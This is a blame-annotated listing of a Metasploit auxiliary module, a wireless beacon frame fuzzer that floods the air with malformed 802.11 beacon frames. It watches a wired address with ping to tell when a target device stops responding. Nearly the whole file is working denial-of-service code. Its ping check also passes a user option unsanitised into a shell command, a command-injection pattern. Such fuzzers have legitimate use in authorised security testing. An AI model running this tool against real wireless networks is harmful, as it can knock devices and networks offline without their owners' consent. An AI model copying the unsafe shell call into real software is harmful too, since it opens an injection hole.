2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-10-26 05:38:11 +00:00
|
|
|
|
2009-10-23 15:59:13 +00:00
|
|
|
include Msf::Exploit::Lorcon2
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2006-10-26 05:38:11 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-10-26 05:38:11 +00:00
|
|
|
'Name' => 'Wireless Beacon Frame Fuzzer',
|
|
|
|
'Description' => %q{
|
|
|
|
This module sends out corrupted beacon frames.
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
'Author' => [ 'hdm' ],
|
2013-01-03 00:01:18 +00:00
|
|
|
'License' => MSF_LICENSE
|
2006-10-26 05:38:11 +00:00
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
2007-02-15 21:14:11 +00:00
|
|
|
OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
|
|
|
|
OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"])
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
2006-10-26 05:38:11 +00:00
|
|
|
end
|
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
def ping_check
|
|
|
|
1.upto(3) do |i|
|
|
|
|
x = `ping -c 1 -n #{datastore['PING_HOST']}`
|
|
|
|
return true if x =~ /1 received/
|
|
|
|
if (i > 1)
|
|
|
|
print_status("Host missed a ping response...")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return false
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
def run
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
srand(0)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
@@uni = 0
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
frames = []
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
open_wifi
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
print_status("Sending corrupt frames...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
while (true)
|
2007-02-15 21:14:11 +00:00
|
|
|
frame = create_frame()
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
if (datastore['PING_HOST'])
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
if (frames.length >= 5)
|
|
|
|
frames.shift
|
|
|
|
frames.push(frame)
|
|
|
|
else
|
|
|
|
frames.push(frame)
|
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
1.upto(3) do
|
2007-02-15 21:14:11 +00:00
|
|
|
wifi.write(frame)
|
|
|
|
if (not ping_check())
|
|
|
|
frames.each do |f|
|
|
|
|
print_status "****************************************"
|
|
|
|
print_status f.inspect
|
|
|
|
end
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2007-02-15 21:14:11 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2007-02-15 21:14:11 +00:00
|
|
|
wifi.write(frame)
|
|
|
|
end
|
2006-10-26 05:38:11 +00:00
|
|
|
end
|
|
|
|
end
|
2007-02-15 21:14:11 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
|
|
|
|
def create_frame
|
2007-02-15 21:14:11 +00:00
|
|
|
mtu = 1500 # 2312 # 1514
|
2006-10-26 05:38:11 +00:00
|
|
|
ies = rand(1024)
|
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
ssid = Rex::Text.rand_text_alphanumeric(rand(256))
|
2006-10-26 05:38:11 +00:00
|
|
|
bssid = Rex::Text.rand_text(6)
|
|
|
|
seq = [rand(255)].pack('n')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
frame =
|
2006-10-26 05:38:11 +00:00
|
|
|
"\x80" + # type/subtype
|
|
|
|
"\x00" + # flags
|
2010-04-30 08:40:19 +00:00
|
|
|
"\x00\x00" + # duration
|
2012-08-10 21:14:50 +00:00
|
|
|
eton(datastore['ADDR_DST']) + # dst
|
2006-10-26 05:38:11 +00:00
|
|
|
bssid + # src
|
|
|
|
bssid + # bssid
|
2010-04-30 08:40:19 +00:00
|
|
|
seq + # seq
|
2006-10-26 05:38:11 +00:00
|
|
|
Rex::Text.rand_text(8) + # timestamp value
|
2007-02-15 21:14:11 +00:00
|
|
|
"\x64\x00" + # beacon interval
|
|
|
|
#"\x00\x05" + # capability flags
|
2010-04-30 08:40:19 +00:00
|
|
|
Rex::Text.rand_text(2) +
|
|
|
|
|
2007-02-15 21:14:11 +00:00
|
|
|
# ssid tag
|
|
|
|
"\x00" + ssid.length.chr + ssid +
|
|
|
|
|
|
|
|
# supported rates
|
|
|
|
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
|
|
|
|
|
|
|
|
# current channel
|
2010-09-20 08:06:27 +00:00
|
|
|
"\x03" + "\x01" + channel.chr
|
2007-02-15 21:14:11 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
1.upto(ies) do |i|
|
|
|
|
max = mtu - frame.length
|
|
|
|
break if max < 2
|
2007-02-15 21:14:11 +00:00
|
|
|
t = rand(256)
|
2006-10-26 05:38:11 +00:00
|
|
|
l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
|
|
|
|
d = Rex::Text.rand_text(l)
|
|
|
|
frame += t.chr + l.chr + d
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-26 05:38:11 +00:00
|
|
|
return frame
|
|
|
|
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|